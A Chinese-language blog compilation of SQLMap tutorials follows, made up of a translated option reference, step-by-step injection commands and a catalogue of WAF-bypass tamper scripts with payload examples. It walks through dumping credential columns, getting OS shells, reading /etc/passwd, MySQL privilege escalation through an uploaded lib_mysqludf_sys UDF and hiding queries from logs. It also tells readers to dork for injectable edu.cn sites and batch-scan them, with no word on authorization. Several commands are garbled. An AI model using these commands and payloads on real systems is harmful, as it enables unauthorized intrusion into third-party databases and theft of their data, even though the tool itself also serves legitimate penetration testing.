从这里开始SQLMap就结束,博主从网上汇总了一些SQLMap的使用教程,给大家参考,下一篇文章博主会细说一下SQLMap
—————————————————————————————————————————————————
当你的才华
还撑不起的野心时
那你就应该静下心来学习
—————————————————————————————————————————————————
SQLMap 总结使用教程
1.0 下载SQLmap
2.0常用的命令选项有:
3.0当使用 Sqlmap 检测一个指定 Url 时,它会执行一下操作:
4.0 本人常用指令:
二、SQLmap 所有命令参数
Options(选项):
Target(目标):
Request(请求):
Agent头
Optimization(优化):
Injection(注入):
Detection(检测):
Techniques(技巧):
Fingerprint(指纹):
Enumeration(枚举):
Brute force(蛮力):
User-defined function injection(用户自定义函数注入):
File system access(访问文件系统):
Operating system access(操作系统访问):
Windows注册表访问:
General(一般):
Miscellaneous(杂项):
三、SQLMAP实战操作
1.ACCESS数据库:
2.MYSQL数据库:
3.SQLSERVER数据库:
4.COOKIE注入:
5.POST注入:
6.执行shell命令:
7.注入HTTP请求 :
8.绕过WAF的tamper插件使用:
9.将注入语句插入到指定位置:
10.延时注入:
11.使用谷歌语法搜索注入(Google hack):
拓展内容(一)
拓展内容(二)
tamper 参数绕狗
1、简单介绍
2、SQLMAP tamper 介绍
使用方法:
各个 tamper 的作用
3、总结
SQLmap tamper参数汇总表格
数据库区分tampet参数
【MySQL】
【SQLServer】
【Access】
【Oracle】
【PostgreSQL】
【MSSQL】
【SQLite】
【未知适用范围】
下载好 Sqlmap 之后,进入 sqlmap.py 所在的目录,执行命令的方式如下:
# python sqlmap.py XXX
例如查看内置的帮助信息:
# python sqlmap.py -h
选项解释
-u 指定Sql注入测试的url
-b 获取DBMSbanner
-m 从文本中加载目标请求
-g 从google的搜索结果中测试
--data 把数据以post方式提交
--cookie 设置cookie的值
-–current-db 获取当前数据库
-–current-user 获取当前用户
--string 匹配页面中的字符串
–-users 枚举DBMS用户
–-password 枚举DBMS用户密码hash
–-dbs 枚举DBMS中的数据库
-D 要枚举的DBMS数据库
–-tables 枚举DBMS数据库中的数据表(和-D组合使用)
-T 要枚举的DBMS数据库表
–-columns 枚举DBMS数据库表中的所有列(和-D-T组合使用)
-C 要枚举的DBMS数据表中的列(和-D-T-C组合使用)
–-dump 获取DBMS数据表项
–-privileges 查看权限
–-privileges-Uroot 查看指定用户权限
–-os-cmd=whoami 执行系统命令
–-os-shell 系统交互shell
–-os-pwn 反弹shell
–-reg-read 读取win系统注册表
–-dbs-o“sqlmap.log” #保存进度
判断是否有可注入的参数
判断可以用哪种 Sql 注入技术来注入
识别出目标使用哪种数据库
按照用户选择,读取目标数据
--is-dba 当前用户权限
--dbs 所有数据库
--current-db 网站当前数据库
--users 所有数据库用户
--current-user 当前数据库用户
-T "指定的表名"
-D "当前数据库名字"
--columns 查字段
操作步骤总结:
Python sqlmap.py "192.168.42.2/sqli-labs/less-6/?id=1"
sqlmap 就会将 less-6 中的可以注入的点进行自动扫描,并且提出 payload
Python sqlmap.py "192.168.42.2/sqli-labs/less-6/?id=1" --current-db
Python sqlmap.py "192.168.42.2/sqli-labs/less-6/?id=1" --current-user
现在我们使用--tables -D security 查询 security 库里面的表名。
Python sqlmap.py "192.168.42.2/sqli-labs/less-6/?id=1" --tables -D security
Python sqlmap.py "192.168.42.2/sqli-labs/less-6/?id=1" --tables -D security --columns users
5、对字段里面的数值进行爆破,如需要爆破 username 字段内容,我们可以使用-C username --dump 来进行获取
Python sqlmap.py "192.168.42.2/sqli-labs/less-6/?id=1" --tables -D security --columns users -C username --dump
• – version 显示程序的版本号并退出
• - h, –help 显示此帮助消息并退出
• - v VERBOSE 详细级别:0-6(默认为1)
以下至少需要设置其中一个选项,设置目标URL。
• - d DIRECT 直接连接到数据库。
• - u URL, –url=URL 目标URL。
• - l LIST 从Burp或WebScarab代理的日志中解析目标。
• - r REQUESTFILE 从一个文件中载入HTTP请求。
• - g GOOGLEDORK 处理Google dork的结果作为目标URL。
• - c CONFIGFILE 从INI配置文件中加载选项。
这些选项可以用来指定如何连接到目标URL。
• –data=DATA 通过POST发送的数据字符串
• –cookie=COOKIE HTTP Cookie头
• – cookie-urlencode URL 编码生成的cookie注入
• –drop-set-cookie 忽略响应的Set – Cookie头信息
• –user-agent=AGENT 指定 HTTP User – Agent头
• –random-agent 使用随机选定的HTTP User –
• –referer=REFERER 指定 HTTP Referer头
• –headers=HEADERS 换行分开,加入其他的HTTP头
• –auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
• –auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
• –auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
• –proxy=PROXY 使用HTTP 代理连接到目标URL
• –proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
• –ignore-proxy 忽略系统默认的HTTP代理
• –delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
• –timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
• –retries=RETRIES 连接超时后重新连接的时间(默认3)
• –scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
• –safe-url=SAFURL 在测试过程中经常访问的url地址
• –safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
这些选项可用于优化SqlMap的性能。
• -o 开启所有优化开关
• –predict-output 预测常见的查询输出
• –keep-alive 使用持久的HTTP(S)连接
• –null-connection 从没有实际的HTTP响应体中检索页面长度
• –threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。
• -p TESTPARAMETER 可测试的参数(S)
• –dbms=DBMS 强制后端的DBMS为此值
• –os=OS 强制后端的DBMS操作系统为这个值
• –prefix=PREFIX 注入payload字符串前缀
• –suffix=SUFFIX 注入payload字符串后缀
• –tamper=TAMPER 使用给定的脚本(S)篡改注入数据
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
• –level=LEVEL 执行测试的等级(1-5,默认为1)
• –risk=RISK 执行测试的风险(0-3,默认为1)
• –string=STRING 查询时有效时在页面匹配字符串
• –regexp=REGEXP 查询时有效时在页面匹配正则表达式
• –text-only 仅基于在文本内容比较网页
这些选项可用于调整具体的SQL注入测试。
• –technique=TECH SQL注入技术测试(默认BEUST)
• –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
• –union-cols=UCOLS 定列范围用于测试UNION查询注入
• –union-char=UCHAR 用于暴力猜解列数的字符
• -f, –fingerprint 执行检查广泛的DBMS版本指纹
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己
的SQL语句。
• -b, –banner 检索数据库管理系统的标识
• –current-user 检索数据库管理系统当前用户
• –current-db 检索数据库管理系统当前数据库
• –is-dba 检测DBMS当前用户是否DBA
• –users 枚举数据库管理系统用户
• –passwords 枚举数据库管理系统用户密码哈希
• –privileges 枚举数据库管理系统用户的权限
• –roles 枚举数据库管理系统用户的角色
• –dbs 枚举数据库管理系统数据库
• –tables 枚举的DBMS数据库中的表
• –columns 枚举DBMS数据库表列
• –dump 转储数据库管理系统的数据库中的表项
• –dump-all 转储所有的DBMS数据库表中的条目
• –search 搜索列(S),表(S)和/或数据库名称(S)
• -D DB 要进行枚举的数据库名
• -T TBL 要进行枚举的数据库表
• -C COL 要进行枚举的数据库列
• -U USER 用来进行枚举的数据库用户
• –exclude-sysdbs 枚举表时排除系统数据库
• –start=LIMITSTART 第一个查询输出进入检索
• –stop=LIMITSTOP 最后查询的输出进入检索
• –first=FIRSTCHAR 第一个查询输出字的字符检索
• –last=LASTCHAR 最后查询的输出字字符检索
• –sql-query=QUERY 要执行的SQL语句
• –sql-shell 提示交互式SQL的shell
这些选项可以被用来运行蛮力检查。
• –common-tables 检查存在共同表
• –common-columns 检查存在共同列
这些选项可以用来创建用户自定义函数。
• –udf-inject 注入用户自定义函数
• –shared-lib=SHLIB 共享库的本地路径
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
• –file-read=RFILE 从后端的数据库管理系统文件系统读取文件
• –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
• –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
这些选项可以用于访问后端数据库管理系统的底层操作系统。
?
• –os-cmd=OSCMD 执行操作系统命令
• –os-shell 交互式的操作系统的shell
• –os-pwn 获取一个OOB shell,meterpreter或VNC
• –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
• –os-bof 存储过程缓冲区溢出利用
• –priv-esc 数据库进程用户权限提升
• –msf-path=MSFPATH Metasploit Framework本地的安装路径
• –tmp-path=TMPPATH 远程临时文件目录的绝对路径
这些选项可以被用来访问后端数据库管理系统Windows注册表。
• –reg-read 读一个Windows注册表项值
• –reg-add 写一个Windows注册表项值数据
• –reg-del 删除Windows注册表键值
• –reg-key=REGKEY Windows注册表键
• –reg-value=REGVAL Windows注册表项值
• –reg-data=REGDATA Windows注册表键值数据
• –reg-type=REGTYPE Windows注册表项值类型
这些选项可以用来设置一些一般的工作参数。
• -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
• -s SESSIONFILE 保存和恢复检索会话文件的所有数据
• –flush-session 刷新当前目标的会话文件
• –fresh-queries 忽略在会话文件中存储的查询结果
• –eta 显示每个输出的预计到达时间
• –update 更新SqlMap
• –save file 保存选项到INI配置文件
• –batch 从不询问用户输入,使用所有默认配置。
• –beep 发现SQL注入时提醒
• –check-payload IDS 对注入payloads的检测测试
• –cleanup SqlMap具体的UDF和表清理DBMS
• –forms 对目标URL的解析和测试形式
• –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
• –page-rank Google dork结果显示网页排名(PR)
• –parse-errors 从响应页面解析数据库管理系统的错误消息
• –replicate 复制转储的数据到一个sqlite3数据库
• –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
• –wizard 给初级用户的简单向导界面
• sqlmap.py -u “url” /*-u为常规扫描参数*/
• sqlmap.py -u “url” –tables /*–tables拆数据库表*/
• sqlmap.py -u “url” –columns -T “要拆的表名”/*列出指定表名*/
• sqlmap.py -u “url” –dump -T “要拆的表名”-C “要拆的字段名” /*–dump为拆解字段名会保存在sqlmap/output目录下*/
• sqlmap.py -u “url” /*扫描注入点*/
• sqlmap.py -u “url” –dbs /*列出所有数据库*/
• sqlmap.py -u “url” –current-db /*列出当前数据库*/
• sqlmap.py -u “url” –current-user /*列出当前用户*/
• sqlmap.py -u “url” –tables -D “当前数据库名” /*拆解当前数据库表*/
• sqlmap.py -u “url” –columns -T “要拆得的表名” -D “当前数据库名” /*拆解指定表字段名*/
• sqlmap.py -u “url” –dump -C “字段名” -T “表名” -D “当前数据库”
• sqlmap.py -u “url” /*扫描注入点*/
• sqlmap.py -u “url” –dbs /*列出所有数据库*/
• sqlmap.py -u “url” –current-db /*列出当前数据库*/
• sqlmap.py -u “url” –current-user /*列出当前用户*/
• sqlmap.py -u “url” –tables -D “当前数据库名” /*拆解当前数据库表*/
• sqlmap.py -u “url” –columns -T “要拆得的表名” -D “当前数据库名” /*拆解指定表字段名*/
• sqlmap.py -u “url” –dump -C “字段名” -T “表名” -D “当前数据库”
PS:SQLSERVER操作和MYSQL是一样的!!!常见的几种数据库!!!
• sqlmap.py -u “www.xxx.com/asp或者www.xxx.com/php”?–cookie “参数名如id=1” –level 2/*level为提升权限*/
什么数据库就按照上面的数据库加上cookie语句拆解就行了
• 抓包保存到SQLMAP目录下.txt的文件然后输入指令sqlmap.py -r xxx.txt /*xxx.txt为保存包文件的文件名”
sqlmap.py -u “url” –data “POST参数”
• sqlmap.py -u “url” –os-cmd=”net user” /*执行net user命令*/
• sqlmap.py -u “url” –os-shell /*系统交互的shell*/
• sqlmap.py -r xxx.txt –dbs /*xxx.txt内容为HTTP请求*/
• sqlmap.py -u “url” –tamper “xxx.py”
• sqlmap.py -u “url” –tamper=”xxx.py”
• sqlmap.py -u “url(www.xxx.com/id/1*.html)”?–dbs
有些网站是采用伪静态的页面使用SQLMAP的普通注入是不行的,所以SQLMAP提供了”*”参数将SQL语句插入指定位置,一般用于伪静态注入。
在使用HTTP注入时使用-r参数也可以直接在文本中添加*号
• sqlmap –dbs -u “url” –delay 0.5 /*延时0.5秒*/
• sqlmap –dbs -u “url” –safe-freq /*请求2次*/
• sqlmap.py -g “inurl:asp?id=1” /*””内为搜索语法,如:inurl,intitle,site,filetype等等
11.1 寻找和判断实例
通过百度对“inurl:news.asp?id=site:edu.cn”、 “inurl:news.php?id= site:edu.cn”、 “inurl:news.aspx?id=site:edu.cn”进行搜索,搜索news.php/asp/aspx,站点为edu.cn,
如下图所示。随机打开一个网页搜索结果,如图2所示,如果能够正常访问,则复制该URL地址。
如上图:搜索目标
如上图:测试网页能否正常访问
将该url使用sqlmap进行注入测试,如下图所示,测试结果可能存在SQL注入,也可能不存在SQL注入,存在则可以进行数据库名称,数据库表以及数据的
如上图:检测URL地址是否存在漏洞
11.2批量检测
将目标url搜集并整理为txt文件,如下图所示,所有文件都保存为tg.txt,然后使用“sqlmap.py-m tg.txt”,注意tg.txt跟sqlmap在同一个目录下。
如上图:批量整理目标地址
11.2 直接连接数据库
sqlmap.py -d”mysql://admin:[email protected]:3306/testdb” -f –banner –dbs–users
SQLMAP实用技巧
1. mysql的注释方法进行绕过WAF进行SQL注入
(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py
return match.group().replace(word,”/*!0%s” % word) 为:
return match.group().replace(word,”/*!50000%s*/” % word)
(2)修改C:\Python27\sqlmap\xml\queries.xml
(3)使用sqlmap进行注入测试
sqlmap.py -u”http://**.com/detail.php? id=16″ –tamper “halfversionedmorekeywords.py”
其它绕过waf脚本方法:
sqlmap.py-u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
(4)tamper目录下文件具体含义:
space2comment.py用/**/代替空格
apostrophemask.py用utf8代替引号
equaltolike.pylike代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py空格替换为#号,随机字符串以及换行符
apostrophenullencode.py绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py(mssql)空格替换为其它空符号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py过滤空格,包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py用between替换大于号(>)
space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py围绕SQL关键字添加多个空格
space2plus.py用+替换空格
bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py双重查询语句,取代SQL关键字
space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py双url编码(不处理以编码的)
unionalltounion.py替换UNION ALLSELECT UNION SELECT
charencode.py url编码
randomcase.py随机大小写
unmagicquotes.py宽字符绕过 GPCaddslashes
randomcomments.py用/**/分割sql关键字
charunicodeencode.py字符串 unicode 编码
securesphere.py追加特制的字符串
versionedmorekeywords.py注释绕过
space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py关键字前加注释
2. URL重写SQL注入测试
value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。
sqlmap.py -u”http://targeturl/param1/value1*/param2/value2/”
3. 列举并破解密码哈希值
当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
sqlmap.py -u”http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1” –passwords -v1
4. 获取表中的数据个数
sqlmap.py -u”http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1” –count -Dtestdb
5.对网站secbang.com进行漏洞爬去
sqlmap.py -u “http://www.secbang.com“–batch –crawl=3
6.基于布尔SQL注入预估时间
sqlmap.py -u “http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1“-b –eta
7.使用hex避免字符编码导致数据丢失
sqlmap.py -u “http://192.168.48.130/pgsql/get_int.php?id=1” –banner –hex -v 3 –parse-errors
8.模拟测试手机环境站点
python sqlmap.py -u”http://www.target.com/vuln.php?id=1” –mobile
9.智能判断测试
sqlmap.py -u “http://www.antian365.com/info.php?id=1“–batch –smart
10.结合burpsuite进行注入
(1)burpsuite抓包,需要设置burpsuite记录请求日志
sqlmap.py -r burpsuite抓包.txt
(2)指定表单注入
sqlmap.py -u URL –data“username=a&password=a”
11.sqlmap自动填写表单注入
自动填写表单:
sqlmap.py -u URL –forms
sqlmap.py -u URL –forms –dbs
sqlmap.py -u URL –forms –current-db
sqlmap.py -u URL –forms -D 数据库名称–tables
sqlmap.py -u URL –forms -D 数据库名称 -T 表名 –columns
sqlmap.py -u URL –forms -D 数据库名称 -T 表名 -Cusername,password –dump
12.读取linux下文件
sqlmap.py-u “url” –file /etc/password
13.延时注入
sqlmap.py -u URL –technique -T–current-user
14. sqlmap 结合burpsuite进行post注入
结合burpsuite来使用sqlmap:
(1)浏览器打开目标地址http://www.antian365.com
(2)配置burp代理(127.0.0.1:8080)以拦截请求
(3)点击登录表单的submit按钮
(4)Burp会拦截到了我们的登录POST请求
(5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下
(6)运行sqlmap并使用如下命令:
./sqlmap.py -r post.txt -p tfUPass
15.sqlmap cookies注入
sqlmap.py -u “http://127.0.0.1/base.PHP“–cookies “id=1″ –dbs –level 2
默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:
sqlmap.py -u 注入点URL --cookie"id=xx" --level 3
sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)
sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns
sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump
16.mysql提权
(1)连接mysql数据打开一个交互shell:
sqlmap.py -dmysql://root:[email protected]:3306/test --sql-shell
select @@version;
select @@plugin_dir;
d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\
(2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:
sqlmap.py -dmysql://root:[email protected]:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll
CREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'
CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'
select sys_eval('ver');
17.执行shell命令
sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/
sqlmap.py -u “url” –os-shell /*系统交互的shell*/
但很多时候还是得静下来分析过滤系统到底过滤了哪些参数,该如何绕过。
sqlmap中的tamper给我们带来了很多防过滤的脚本,非常实用,可能有的朋友还不知道怎样才能最有效的利用tamper脚本。
当然使用脚本之前需要确定的就是系统过滤了哪些关键字,比如单引号、空格、select、union、admin等等。
所以有的时候我们会发现,注入成功了但是dump不出数据,很可能是select被过滤了等等原因。
如图:
直接加个单引号被过滤,说明注入时单引号是没法用的。
以此类推,当sqlmap注入出现问题时,比如不出数据,就要检查对应的关键词是否被过滤。
比如空格被过滤可以使用space2comment.py,过滤系统对大小写敏感可以使用randomcase.py等等。
sqlmap 是一款注入神器广为人知,里面的 tamper 常常用来绕过 WAF ,很实用的模块,一边学习一边整理笔记,今天就整理总结一下 tamper 的用法以及 tamper 的编写
ALL 表示所有数据库都适用,具体指出哪种数据库就表名只只适用于某些数据。
sqlmap.py XXXXX -tamper "模块名"
语法: sqlmap.py -u “http:127.0.0.1/dvwa/test.php?id=1” --dbms mysql --tample “tample的Python脚本” -v 3 --dbs
下面针对 tamper 参数,做一下简单的解释
apostrophemask.py:
return payload.replace(''', "%EF%BC%87") if payload else payload
将单引号 url 编码,用于过滤了单引号的情况。
1' AND '1'='1 to 1%EF%BC%87 AND %EF%BC%871%EF%BC%87=%EF%BC%871
适用数据库:ALL
apostrophenullencode.py:
return payload.replace(''', "%00%27") if payload else payload
将单引号替换为宽字节 unicode 字符,用于过滤了单引号的情况
1' AND '1'='1 to 1 ' AND '1 '= '1
适用数据库:ALL
appendnullbyte.py:
return "%s%%00" % payload if payload else payload
在你构造的payload后面加一个空字符
1' AND '1'='1 to 1' AND '1'='1[]
适用数据库:Access
base64encode.py:
return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload
这个看模块名也知道是 base64 编码
1' AND '1'='1 to MScgQU5EICcxJz0nMQ==
适用数据库:ALL
between.py:
这个代码有点长,就不贴代码了,可以自己去查看:..\SQLMap\tamper\between.py
将大于符号和等号用 between 语句替换,用于过滤了大于符号和等号的情况
1 AND A > B to 1 AND A NOT BETWEEN 0 AND B
1 AND A = B to 1 AND A BETWEEN B AND B
适用数据库:ALL
bluecoat.py:
用随机的空白字符代替空格,并且将等号替换为 like ,用于过滤了空格和等号的情况
union select from users where id = 1 to union%09select from%09users where id like 1
适用数据库:MySQL 5.1, SGOS
chardoubleencode.py:
用 url 编码两次你的 payload
select * from users to %2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2575%2573%2565%2572
适用数据库:ALL
charencode.py:
用 url 编码一次你的 payload
select * from users to %73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72
适用数据库:ALL
charunicodeencode.py:
用 unicode 编码 payload ,只编码非编码字符
select * from users to u0073u0065u006cu0065u0063u0074u0020u002au0020u0066u0072u006fu006du0020u0075u0073u0065u0072u0073
适用数据库:ALL,但是需要 asp 和 asp.net 环境
commalesslimit.py:
将 payload 中的逗号用 offset 代替,用于过滤了逗号并且是两个参数的情况
limit 2,1 to limit 1 offset 2
适用数据库:MySQL
commalessmid.py:
将 payload 中的逗号用 from for 代替,用于过滤了逗号并且是三参数的情况
mid(version(), 1, 1) to mid(version() from 1 for 1)
适用数据库:MySQL
commentbeforeparentheses.py:
retVal = re.sub(r"b(w+)(", "g<1>/**/(", retVal)
在某个单词后的第一个括号前面加入 /**/ ,用于过滤了函数的情况
union select group_concat(table_name) to union select group_concat/**/(table_name)
适用数据库:ALL
concat2concatws.py:
payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")
用于过滤了 concat 函数的情况
concat(1,2) to concat_ws(mid(char(0), 0, 0), 1, 2)
适用数据库:MySQL
equaltolike.py:
retVal = re.sub(r"s=s", " LIKE ", retVal)
将等号用 like 代替,用于过滤了等号的情况
select from users where id=1 to select from users where id like 1
适用数据库:ALL
escapequotes.py:
return payload.replace("'", "'").replace('"', '"')
将单引号转换成 \' ,双引号转换成 \" ,用于过滤了单引号或双引号的情况
1' and 1=1--+ to 1\' and 1=1--+
适用数据库:ALL
greatest.py:
用 greatest 代替大于符号,用于大于符号被过滤了的情况
1 and a>b to 1 and greatest(a,b+1)=a
ALL
halfversionedmorekeywords.py:
在关键字前添加注释,用于过滤了关键字的情况
union select 1,2 to /!0union/!0select 1,2
适用数据库:MySQL < 5.1
htmlencode.py:
return re.sub(r"1", lambda match: "%d;" % ord(match.group(0)), payload) if payload else payload
从名字就知道是将 payload 进行 html 编码
1' and 1=1--+ to 1' and 1=1--+
适用数据库:ALL
ifnull2ifisnull.py:
将 ifnull() 函数转为 if(isnull()) 函数,用于过滤了 ifnull 函数的情况
ifnull(1, 2) to if(isnull(1), 2, 1)
适用数据库:MySql
informationschemacomment.py:
retVal = re.sub(r"(?i)(information_schema).", "g<1>/**/.", payload)
在 information_schema 后面加上 /**/ ,用于绕过对 information_schema 的情况
select table_name from information_schema.tables to select table_name from information_schema/**/.tables
适用数据库:ALL
lowercase.py:
将 payload 里的大写转为小写
UNION SELECT to union select
适用数据库:ALL
modsecurityversioned.py:
用注释来包围完整的查询语句,用于绕过 ModSecurity 开源 waf
1 and 2>1--+ to 1 /!30874and 2>1/--+
适用数据库:MySQL
modsecurityzeroversioned.py:
用注释来包围完整的查询语句,用于绕过 waf ,和上面类似
1 and 2>1--+ to 1 /!00000and 2>1/--+
适用数据库:MySQL
multiplespaces.py:
在关键字周围添加多个空格
union select 1,2--+ to union select 1,2--+
适用数据库:ALL
nonrecursivereplacement.py:
关键字双写,可用于关键字过滤
union select 1,2--+ to uniounionn selecselectt 1,2--+
适用数据库:ALL
overlongutf8.py:
这个不是很懂,也去网上搜了下,都说是”转换给定的 payload 当中的所有字符“,类似空格大于小于这种
select field from table where 2>1 to select%C0%AAfield%C0%AAfromtable%C0%AAwhere%C0%AA2%C0%BE1
适用数据库:ALL
percentage.py:
用百分号来绕过关键字过滤,具体是在关键字的每个字母前面都加一个百分号
select from users to %s%e%l%e%c%t %f%r%o%m %u%s%e%r%s
适用数据库:ALL, 但是需要 ASP 环境
plus2concat.py:
用 concat 函数来替代加号,用于加号被过滤的情况
select char(13)+char(114)+char(115) from user to select concat(char(113),char(114),char(115)) from user
适用数据库:SQL Server 2012+
plus2fnconcat.py:
用 fn concat 来替代加号,和上面类似
select char(13)+char(114)+char(115) from user to select {fn concat({ fn concat(char(113),char(114))},char(115))} from user
适用数据库:Microsoft SQL Server 2008+
randomcase.py:
将 payload 随机大小写,可用于大小写绕过的情况
union select 1,2--+ to UniOn SElect 1,2--+
适用数据库:ALL
randomcomments.py:
在 payload 的关键字中间随机插入 /**/ ,可用于绕过关键字过滤
union select 1,2--+ to un//ion sele//ct 1,2--+
适用数据库:ALL
securesphere.py:
return payload + " and '0having'='0having'" if payload else payload
在 payload 后面加入字符串,可以自定义
1' and 1=1 to 1' and 1=1 '0having'='0having'
适用数据库:ALL
sp_password.py:
retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if in payload else None for in ('#', "-- ")) else "")
在 payload 语句后添加 ssp_password ,用于迷惑数据库日志
1’ and 1=1--+ to 1 and 1=1-- sp_password
适用数据库:MSSQL
space2comment.py:
用 /**/ 替代空格,用于空格的绕过
union select 1,2--+ to union//select//1,2--+
适用数据库:ALL
space2dash.py:
用注释符--和一个随机字符串加一个换行符替换控制符
?union select 1,2--+ to union--HSHjsJh%0Aselect--HhjHSJ%0A1,2--+
适用数据库:MSSQL、 SQLite
space2hash.py:
和上面类似,不过这儿是用#注释符
union select 1,2--+ to union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2--+
适用数据库:MySQL
space2morecomment.py:
将空格用 /_/ 替代
union select 1,2--+ to union/_/select/_/1,2--+
适用数据库:ALL
space2morehash.py:
和 space2hash.py 类似,但是这儿多一个 # 和换行符,具体看一下对比:
space2hash.py: union select 1,2--+ to union %23 HSHjsJh %0A select %23 HhjHSJ %0A1,2--+
space2morehash.py:union select 1,2--+ to union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2--+
适用数据库:MySQL >= 5.1.13
space2mssqlblank.py:
blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
用这些随机空白符替换 payload 中的空格
union select 1,2--+ to union%01select%021,2--+
适用数据库:SQL Server
space2mssqlhash.py:
用 # 加一个换行符替换 payload 中的空格
union select 1,2--+ to union%23%0Aselect%23%0A1,2--+
适用数据库:MSSQL、MySQL
space2mysqlblank.py:
blanks = ('%09', '%0A', '%0C', '%0D', '%0B')
用这些随机空白符替换payload中的空格
union select 1,2--+ to union%09select%0D1,2--+
适用数据库:MySQL
space2mysqldash.py:
用 -- 加一个换行符替换空格
union select 1,2--+ to union--%0Aselect--%0A1,2--+
适用数据库:MySQL、MSSQL
space2plus.py:
用 + 替换空格
union select 1,2--+ to union+select+1,2--+
适用数据库:ALL
space2randomblank.py:
blanks = ("%09", "%0A", "%0C", "%0D")
用这些随机空白符替换 payload 中的空格
union select 1,2--+ to union%09select%0C1,2--+
适用数据库:ALL
symboliclogical.py:
retVal = re.sub(r"(?i)bANDb", "%26%26", re.sub(r"(?i)bORb", "%7C%7C", payload))
用 && 替换 and ,用 || 替换 or ,用于这些关键字被过滤的情况
1 and 1=1 to 1 %26%26 1=1
1 or 1=1 to 1 %7c%7c 1=1
适用数据库:ALL
unionalltounion.py:
return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload
用 union select 替换union all select
union all select 1,2--+ to union select 1,2--+
适用数据库:ALL
unmagicquotes.py:
用宽字符绕过 GPC addslashes
1‘ and 1=1 to 1%df%27 and 1=1--
适用数据库:ALL
uppercase.py:
将 payload 大写
union select to UNION SELECT
适用数据库:ALL
varnish.py:
headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"return payload
添加一个 HTTP 头 “ X-originating-IP ” 来绕过 WAF
还可以自定义:
X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)X-remote-IP: TARGET_PROXY_IP (184.189.250.X)X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)X-remote-IP: * or %00 or %0A
适用数据库:ALL
versionedkeywords.py
对不是函数的关键字进行注释
